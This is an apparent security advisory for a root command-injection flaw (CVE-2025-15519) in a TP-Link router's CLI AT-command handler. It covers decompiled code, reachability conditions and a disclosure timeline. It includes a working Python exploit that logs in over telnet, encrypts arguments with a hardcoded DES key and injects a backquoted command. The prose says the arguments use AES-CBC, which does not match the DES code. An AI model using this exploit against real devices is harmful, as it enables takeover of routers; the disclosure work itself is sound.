The CLI command sys lte sendAtCmd <tag> <at-command> is served by the function at 0x41688C in /bin/cli. The handler copies the user-supplied AT-command argument into a buffer, formats it into a mobile_cli send_at_cmd %s string with snprintf, and runs the result through popen, without validating or escaping it. Shell metacharacters reach /bin/sh.
Technical Details
Sink
The handler at 0x41688C first checks that the LTE data-model object is present (an rdp_getObj query for DEV2_XTP_LTE). It then takes the command argument (argument 2, or arguments 2 onward joined by the helper at 0x416770 when more are supplied), formats it, and runs it with popen:
// argv[1] at +8, argv[2] at +16
if ( argc == 3 )
snprintf(at, 0x100, "%s", argv[2]); // single argument
else if ( argc > 3 )
sub_416770(argc, 2, argv, at, 256); // join argv[2..]
snprintf(cmd, 0x100, "mobile_cli send_at_cmd %s", at);
stream = popen(cmd, "r"); // argv[2..] reach the shell
The argument is placed into the command line unmodified, so a value containing ;, |, or a backquoted command runs arbitrary commands under /bin/sh.
Reachability
The lte sub-dispatcher at 0x416F08 dispatches a command table based at 0x437BB0; the sendAtCmd entry (at 0x437E30) maps to 0x41688C. Reaching the handler requires:
- An authenticated session (the login routine at
0x4058F0); - Device uptime within ten minutes: the gate at
0x40AB74reads the uptime via0x404AB0(anrdp_getObjquery forDEV2_DEV_INFO/UpTime) and proceeds only when it is at most0x258(600 seconds); - The arguments to
syssupplied in AES-CBC encrypted form (driven through the routine named by the stringaes_cbc_decrypt_intface_bypart); - An LTE-capable device, since the handler returns early when the
DEV2_XTP_LTEobject is absent; - three or more arguments to
sys lte.
Proof of Concept
import base64
from Crypto.Cipher import DES
from Crypto.Util.Padding import pad, unpad
from pwn import *
def des_ecb_encrypt(key, plaintext):
cipher = DES.new(key, DES.MODE_ECB)
plaintext += ((8 - (len(plaintext) % 8)) * b"\x00")
ciphertext = cipher.encrypt(plaintext)
return ciphertext
key = bytes.fromhex("478de3f90ba5d2cf")
def get_arg(k, d):
out = des_ecb_encrypt(k, d)
return f"sys {base64.b64encode(out).decode()}".encode()
def exploit(rhost, pwd):
io = remote(rhost, 23)
io.sendlineafter(b":", pwd)
cmd = f"lte sendAtCmd x `reboot`".encode()
print(cmd)
print(io.recvuntil(b"#").decode())
io.sendline(get_arg(key, cmd))
io.interactive()
admin_pwd = b""
exploit("192.168.1.1", admin_pwd)
Impact
A user with admin privileges who can issue commands on the authenticated CLI can execute arbitrary commands with the privileges of the CLI process, which runs as root.
Disclosure timeline
Submitted report to security@tp-link.com
Reserved CVE-2025-15519
CVEs and advisory published
References
- TP-Link Security Advisory www.tp-link.com/us/support/faq/5027/